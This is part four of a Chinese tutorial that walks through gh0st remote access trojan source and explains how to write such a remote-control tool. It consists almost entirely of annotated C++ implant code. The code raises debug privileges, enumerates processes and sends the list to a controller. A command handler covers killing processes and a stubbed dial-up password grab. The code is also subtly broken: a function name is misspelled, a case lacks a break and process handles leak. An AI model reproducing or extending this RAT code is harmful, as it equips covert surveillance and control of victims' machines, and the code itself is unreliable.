gh0st源码分析与远控的编写(四)

LPBYTE CSystemManager::getProcessList()
{
    HANDLE          hSnapshot = NULL;
    HANDLE          hProcess = NULL;
    HMODULE         hModules = NULL;
    PROCESSENTRY32  pe32 = {0};
    DWORD           cbNeeded;
    char            strProcessName[MAX_PATH] = {0};
    LPBYTE          lpBuffer = NULL;
    DWORD           dwOffset = 0;
    DWORD           dwLength = 0;
    DebugPrivilege(SE_DEBUG_NAME, TRUE);     //提取权限
    //创建系统快照
    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if(hSnapshot == INVALID_HANDLE_VALUE)
        return NULL;

    pe32.dwSize = sizeof(PROCESSENTRY32);

    lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);       //暂时分配一下缓冲区

    lpBuffer[0] = TOKEN_PSLIST;        //注意这个是数据头 一会我们到主控端来搜索这个数据头 
    dwOffset = 1;

    if(Process32First(hSnapshot, &pe32))       //得到第一个进程顺便判断一下系统快照是否成功
    {     
        do
        {      
            //打开进程并返回句柄
            hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID);
            if ((pe32.th32ProcessID !=0 ) && (pe32.th32ProcessID != 4) && (pe32.th32ProcessID != 8))
            {
                //枚举第一个模块句柄也就是自身
                EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded);
                //得到自身的完整名称
                GetModuleFileNameEx(hProcess, hModules, strProcessName, sizeof(strProcessName));
                //开始计算占用的缓冲区， 我们关心他的发送的数据结构
                // 此进程占用数据大小
                dwLength = sizeof(DWORD) + lstrlen(pe32.szExeFile) + lstrlen(strProcessName) + 2;
                // 缓冲区太小，再重新分配下
                if (LocalSize(lpBuffer) < (dwOffset + dwLength))
                    lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE);

                //接下来三个memcpy就是向缓冲区里存放数据 数据结构是 进程ID+进程名+0+进程完整名+0
                //为什么加0 ？因为字符数据是以0 结尾的
                memcpy(lpBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD));
                dwOffset += sizeof(DWORD);  

                memcpy(lpBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) + 1);
                dwOffset += lstrlen(pe32.szExeFile) + 1;

                memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) + 1);
                dwOffset += lstrlen(strProcessName) + 1;
            }
        }
        while(Process32Next(hSnapshot, &pe32));      //继续得到下一个快照
    }
    //用lpbuffer获得整个缓冲区
    lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE);

    DebugPrivilege(SE_DEBUG_NAME, FALSE);  //还原提权
    CloseHandle(hSnapshot);       //释放句柄 
    return lpBuffer;        //这个数据返回后就是发送了 之前讲过了，我们可以到主控端去搜索TOKEN_PSLIST了。
}

void CSystemManager::SendProccessList()
{
    UINT    nRet = -1;
    LPBYTE  lpBuffer = getProcessList();      //得到进程列表的数据，一会转到  getProcessList定义
    if (lpBuffer == NULL)
        return;

    Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));   //得到发送得到的进程列表数据
    LocalFree(lpBuffer);
}

void CSystemManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
    SwitchInputDesktop();
    switch (lpBuffer[0])
    {
    case COMMAND_PSLIST:
        SendProcessList();
        break;
    case COMMAND_WSLIST:
        //SendWindowsList();
        break;
    case COMMAND_DIALUPASS:
        //SendDialupassList();
        break;
    case COMMAND_KILLPROCESS:       //这里是进程管理接收数据的函数了 在这里判断是那个命令，到KillProcess定义
        KillProcess((LPBYTE)lpBuffer + 1, nSize - 1);
    default:
        break;
    }
}